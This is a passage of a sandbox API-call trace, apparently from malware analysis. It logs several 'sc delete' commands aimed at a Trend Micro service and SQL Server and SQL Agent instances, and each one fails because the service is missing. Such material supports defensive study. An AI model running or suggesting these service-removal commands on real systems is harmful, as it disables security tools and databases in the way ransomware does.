returned 0x0 [0071.386] __wgetmainargs (in: _Argc=0xff0bb604, _Argv=0xff0bb610, _Env=0xff0bb608, _DoWildCard=0, _StartInfo=0xff0bb050 | out: _Argc=0xff0bb604, _Argv=0xff0bb610, _Env=0xff0bb608) returned 0 [0071.387] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.390] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0071.390] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0071.390] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0071.390] _wcsicmp (_String1="delete", _String2="query") returned -13 [0071.390] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0071.390] _wcsicmp (_String1="delete", _String2="start") returned -15 [0071.390] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0071.390] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0071.390] _wcsicmp (_String1="delete", _String2="control") returned 1 [0071.390] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0071.390] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0071.390] _wcsicmp (_String1="delete", _String2="config") returned 1 [0071.390] _wcsicmp (_String1="delete", _String2="description") returned -7 [0071.390] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0071.390] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0071.390] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0071.390] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0071.390] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0071.390] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0071.390] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0071.391] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0071.391] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0071.391] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0071.391] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0071.391] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0071.391] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0071.391] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0071.391] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0071.391] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0071.391] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0071.391] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0071.391] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3243e0 [0071.395] OpenServiceW (hSCManager=0x3243e0, lpServiceName="SQLTELEMETRY$HL", dwDesiredAccess=0x10000) returned 0x0 [0071.396] GetLastError () returned 0x424 [0071.396] _itow (in: _Dest=0x424, _Radix=2029944 | out: _Dest=0x424) returned="1060" [0071.396] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff0bb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0071.398] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1ef930, nSize=0x2, Arguments=0x1ef960 | out: lpBuffer="跀2") returned 0x62 [0071.399] GetFileType (hFile=0x120) returned 0x3 [0071.399] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x328ea0 [0071.399] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x328ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n2", lpUsedDefaultChar=0x0) returned 98 [0071.399] WriteFile (in: hFile=0x120, lpBuffer=0x328ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1ef8d8, lpOverlapped=0x0 | out: lpBuffer=0x328ea0*, lpNumberOfBytesWritten=0x1ef8d8*=0x62, lpOverlapped=0x0) returned 1 [0071.399] LocalFree (hMem=0x328ea0) returned 0x0 [0071.399] LocalFree (hMem=0x328dc0) returned 0x0 [0071.399] LocalFree (hMem=0x0) returned 0x0 [0071.399] CloseServiceHandle (hSCObject=0x3243e0) returned 1 [0071.401] exit (_Code=1060) Thread: id = 57 os_tid = 0xa9c Process: id = "29" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3e451000" os_pid = "0xa94" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete TMBMServer" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 58 os_tid = 0xadc [0071.453] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14fdb0 | out: lpSystemTimeAsFileTime=0x14fdb0*(dwLowDateTime=0x42631e50, dwHighDateTime=0x1d62774)) [0071.453] GetCurrentProcessId () returned 0xa94 [0071.453] GetCurrentThreadId () returned 0xadc [0071.453] GetTickCount () returned 0x11492de [0071.453] QueryPerformanceCounter (in: lpPerformanceCount=0x14fdb8 | out: lpPerformanceCount=0x14fdb8*=19112837718) returned 1 [0071.454] GetModuleHandleW (lpModuleName=0x0) returned 0xff570000 [0071.454] __set_app_type (_Type=0x1) [0071.454] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff577228) returned 0x0 [0071.454] __wgetmainargs (in: _Argc=0xff57b604, _Argv=0xff57b610, _Env=0xff57b608, _DoWildCard=0, _StartInfo=0xff57b050 | out: _Argc=0xff57b604, _Argv=0xff57b610, _Env=0xff57b608) returned 0 [0071.455] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.457] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0071.457] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0071.457] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0071.457] _wcsicmp (_String1="delete", _String2="query") returned -13 [0071.457] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0071.457] _wcsicmp (_String1="delete", _String2="start") returned -15 [0071.457] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0071.457] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0071.457] _wcsicmp (_String1="delete", _String2="control") returned 1 [0071.457] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0071.457] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0071.457] _wcsicmp (_String1="delete", _String2="config") returned 1 [0071.457] _wcsicmp (_String1="delete", _String2="description") returned -7 [0071.457] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0071.457] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0071.458] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0071.458] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0071.458] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0071.458] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0071.458] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0071.458] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0071.458] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0071.458] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0071.458] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0071.458] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0071.458] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0071.458] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0071.458] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0071.458] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0071.458] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0071.458] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0071.458] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x304370 [0071.462] OpenServiceW (hSCManager=0x304370, lpServiceName="TMBMServer", dwDesiredAccess=0x10000) returned 0x0 [0071.462] GetLastError () returned 0x424 [0071.462] _itow (in: _Dest=0x424, _Radix=1375256 | out: _Dest=0x424) returned="1060" [0071.462] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff57b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0071.464] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x14fbd0, nSize=0x2, Arguments=0x14fc00 | out: lpBuffer="跀0") returned 0x62 [0071.464] GetFileType (hFile=0x120) returned 0x3 [0071.464] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x308ea0 [0071.464] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x308ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n0", lpUsedDefaultChar=0x0) returned 98 [0071.464] WriteFile (in: hFile=0x120, lpBuffer=0x308ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x14fb78, lpOverlapped=0x0 | out: lpBuffer=0x308ea0*, lpNumberOfBytesWritten=0x14fb78*=0x62, lpOverlapped=0x0) returned 1 [0071.464] LocalFree (hMem=0x308ea0) returned 0x0 [0071.464] LocalFree (hMem=0x308dc0) returned 0x0 [0071.464] LocalFree (hMem=0x0) returned 0x0 [0071.464] CloseServiceHandle (hSCObject=0x304370) returned 1 [0071.466] exit (_Code=1060) Thread: id = 59 os_tid = 0xb08 Process: id = "30" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3e756000" os_pid = "0xaa0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete \"MSSQL$PROGID\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 60 os_tid = 0xad8 [0071.512] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28fd50 | out: lpSystemTimeAsFileTime=0x28fd50*(dwLowDateTime=0x426ca3d0, dwHighDateTime=0x1d62774)) [0071.512] GetCurrentProcessId () returned 0xaa0 [0071.512] GetCurrentThreadId () returned 0xad8 [0071.512] GetTickCount () returned 0x114931c [0071.512] QueryPerformanceCounter (in: lpPerformanceCount=0x28fd58 | out: lpPerformanceCount=0x28fd58*=19118762329) returned 1 [0071.513] GetModuleHandleW (lpModuleName=0x0) returned 0xffb00000 [0071.513] __set_app_type (_Type=0x1) [0071.513] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffb07228) returned 0x0 [0071.513] __wgetmainargs (in: _Argc=0xffb0b604, _Argv=0xffb0b610, _Env=0xffb0b608, _DoWildCard=0, _StartInfo=0xffb0b050 | out: _Argc=0xffb0b604, _Argv=0xffb0b610, _Env=0xffb0b608) returned 0 [0071.514] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.516] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0071.516] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0071.516] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0071.516] _wcsicmp (_String1="delete", _String2="query") returned -13 [0071.516] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0071.516] _wcsicmp (_String1="delete", _String2="start") returned -15 [0071.516] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0071.516] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0071.516] _wcsicmp (_String1="delete", _String2="control") returned 1 [0071.516] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0071.516] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0071.516] _wcsicmp (_String1="delete", _String2="config") returned 1 [0071.516] _wcsicmp (_String1="delete", _String2="description") returned -7 [0071.516] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0071.516] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0071.516] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0071.516] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0071.516] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0071.516] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0071.516] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0071.516] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0071.516] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0071.516] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0071.516] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0071.516] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0071.516] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0071.516] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0071.516] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0071.516] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0071.516] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0071.517] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0071.517] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x4443d0 [0071.520] OpenServiceW (hSCManager=0x4443d0, lpServiceName="MSSQL$PROGID", dwDesiredAccess=0x10000) returned 0x0 [0071.520] GetLastError () returned 0x424 [0071.520] _itow (in: _Dest=0x424, _Radix=2685880 | out: _Dest=0x424) returned="1060" [0071.520] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffb0b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0071.522] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x28fb70, nSize=0x2, Arguments=0x28fba0 | out: lpBuffer="趰D") returned 0x62 [0071.522] GetFileType (hFile=0x120) returned 0x3 [0071.523] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x448e90 [0071.523] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x448e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\nD", lpUsedDefaultChar=0x0) returned 98 [0071.523] WriteFile (in: hFile=0x120, lpBuffer=0x448e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x28fb18, lpOverlapped=0x0 | out: lpBuffer=0x448e90*, lpNumberOfBytesWritten=0x28fb18*=0x62, lpOverlapped=0x0) returned 1 [0071.523] LocalFree (hMem=0x448e90) returned 0x0 [0071.523] LocalFree (hMem=0x448db0) returned 0x0 [0071.523] LocalFree (hMem=0x0) returned 0x0 [0071.523] CloseServiceHandle (hSCObject=0x4443d0) returned 1 [0071.524] exit (_Code=1060) Thread: id = 61 os_tid = 0x358 Process: id = "31" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3f35b000" os_pid = "0x60c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete \"MSSQL$WOLTERSKLUWER\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 62 os_tid = 0x484 [0071.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24fdf0 | out: lpSystemTimeAsFileTime=0x24fdf0*(dwLowDateTime=0x42762950, dwHighDateTime=0x1d62774)) [0071.576] GetCurrentProcessId () returned 0x60c [0071.576] GetCurrentThreadId () returned 0x484 [0071.576] GetTickCount () returned 0x114935a [0071.576] QueryPerformanceCounter (in: lpPerformanceCount=0x24fdf8 | out: lpPerformanceCount=0x24fdf8*=19125212913) returned 1 [0071.577] GetModuleHandleW (lpModuleName=0x0) returned 0xff950000 [0071.578] __set_app_type (_Type=0x1) [0071.578] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff957228) returned 0x0 [0071.578] __wgetmainargs (in: _Argc=0xff95b604, _Argv=0xff95b610, _Env=0xff95b608, _DoWildCard=0, _StartInfo=0xff95b050 | out: _Argc=0xff95b604, _Argv=0xff95b610, _Env=0xff95b608) returned 0 [0071.578] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.580] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0071.580] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0071.580] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0071.580] _wcsicmp (_String1="delete", _String2="query") returned -13 [0071.580] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0071.580] _wcsicmp (_String1="delete", _String2="start") returned -15 [0071.580] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0071.580] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0071.580] _wcsicmp (_String1="delete", _String2="control") returned 1 [0071.580] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0071.580] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0071.580] _wcsicmp (_String1="delete", _String2="config") returned 1 [0071.580] _wcsicmp (_String1="delete", _String2="description") returned -7 [0071.580] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0071.580] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0071.580] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0071.580] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0071.580] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0071.580] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0071.581] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0071.581] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0071.581] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0071.581] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0071.581] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0071.581] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0071.581] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0071.581] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0071.581] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0071.581] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0071.581] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0071.581] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0071.581] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x743f0 [0071.584] OpenServiceW (hSCManager=0x743f0, lpServiceName="MSSQL$WOLTERSKLUWER", dwDesiredAccess=0x10000) returned 0x0 [0071.584] GetLastError () returned 0x424 [0071.585] _itow (in: _Dest=0x424, _Radix=2423896 | out: _Dest=0x424) returned="1060" [0071.585] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff95b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0071.586] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x24fc10, nSize=0x2, Arguments=0x24fc40 | out: lpBuffer="跐\x07") returned 0x62 [0071.586] GetFileType (hFile=0x120) returned 0x3 [0071.587] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x78eb0 [0071.587] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x78eb0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x07", lpUsedDefaultChar=0x0) returned 98 [0071.587] WriteFile (in: hFile=0x120, lpBuffer=0x78eb0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x24fbb8, lpOverlapped=0x0 | out: lpBuffer=0x78eb0*, lpNumberOfBytesWritten=0x24fbb8*=0x62, lpOverlapped=0x0) returned 1 [0071.587] LocalFree (hMem=0x78eb0) returned 0x0 [0071.587] LocalFree (hMem=0x78dd0) returned 0x0 [0071.587] LocalFree (hMem=0x0) returned 0x0 [0071.587] CloseServiceHandle (hSCObject=0x743f0) returned 1 [0071.588] exit (_Code=1060) Thread: id = 63 os_tid = 0x410 Process: id = "32" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3f360000" os_pid = "0xb48" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete \"SQLAgent$PROGID\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 64 os_tid = 0x4e4 [0071.643] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26f950 | out: lpSystemTimeAsFileTime=0x26f950*(dwLowDateTime=0x427faed0, dwHighDateTime=0x1d62774)) [0071.643] GetCurrentProcessId () returned 0xb48 [0071.643] GetCurrentThreadId () returned 0x4e4 [0071.643] GetTickCount () returned 0x1149399 [0071.643] QueryPerformanceCounter (in: lpPerformanceCount=0x26f958 | out: lpPerformanceCount=0x26f958*=19131900382) returned 1 [0071.645] GetModuleHandleW (lpModuleName=0x0) returned 0xffb70000 [0071.645] __set_app_type (_Type=0x1) [0071.645] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffb77228) returned 0x0 [0071.645] __wgetmainargs (in: _Argc=0xffb7b604, _Argv=0xffb7b610, _Env=0xffb7b608, _DoWildCard=0, _StartInfo=0xffb7b050 | out: _Argc=0xffb7b604, _Argv=0xffb7b610, _Env=0xffb7b608) returned 0 [0071.646] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.649] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0071.649] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0071.649] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0071.649] _wcsicmp (_String1="delete", _String2="query") returned -13 [0071.649] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0071.649] _wcsicmp (_String1="delete", _String2="start") returned -15 [0071.649] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0071.649] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0071.649] _wcsicmp (_String1="delete", _String2="control") returned 1 [0071.649] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0071.649] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0071.649] _wcsicmp (_String1="delete", _String2="config") returned 1 [0071.649] _wcsicmp (_String1="delete", _String2="description") returned -7 [0071.649] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0071.649] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0071.649] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0071.649] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0071.649] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0071.649] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0071.649] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0071.649] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0071.649] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0071.649] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0071.649] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0071.650] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0071.650] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0071.650] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0071.650] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0071.650] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0071.650] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0071.650] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0071.650] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0xe43e0 [0071.654] OpenServiceW (hSCManager=0xe43e0, lpServiceName="SQLAgent$PROGID", dwDesiredAccess=0x10000) returned 0x0 [0071.654] GetLastError () returned 0x424 [0071.655] _itow (in: _Dest=0x424, _Radix=2553784 | out: _Dest=0x424) returned="1060" [0071.655] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffb7b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0071.656] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x26f770, nSize=0x2, Arguments=0x26f7a0 | out: lpBuffer="跀\x0e") returned 0x62 [0071.657] GetFileType (hFile=0x120) returned 0x3 [0071.657] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0xe8ea0 [0071.657] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0xe8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x0e", lpUsedDefaultChar=0x0) returned 98 [0071.657] WriteFile (in: hFile=0x120, lpBuffer=0xe8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x26f718, lpOverlapped=0x0 | out: lpBuffer=0xe8ea0*, lpNumberOfBytesWritten=0x26f718*=0x62, lpOverlapped=0x0) returned 1 [0071.657] LocalFree (hMem=0xe8ea0) returned 0x0 [0071.657] LocalFree (hMem=0xe8dc0) returned 0x0 [0071.657] LocalFree (hMem=0x0) returned 0x0 [0071.657] CloseServiceHandle (hSCObject=0xe43e0) returned 1 [0071.659] exit 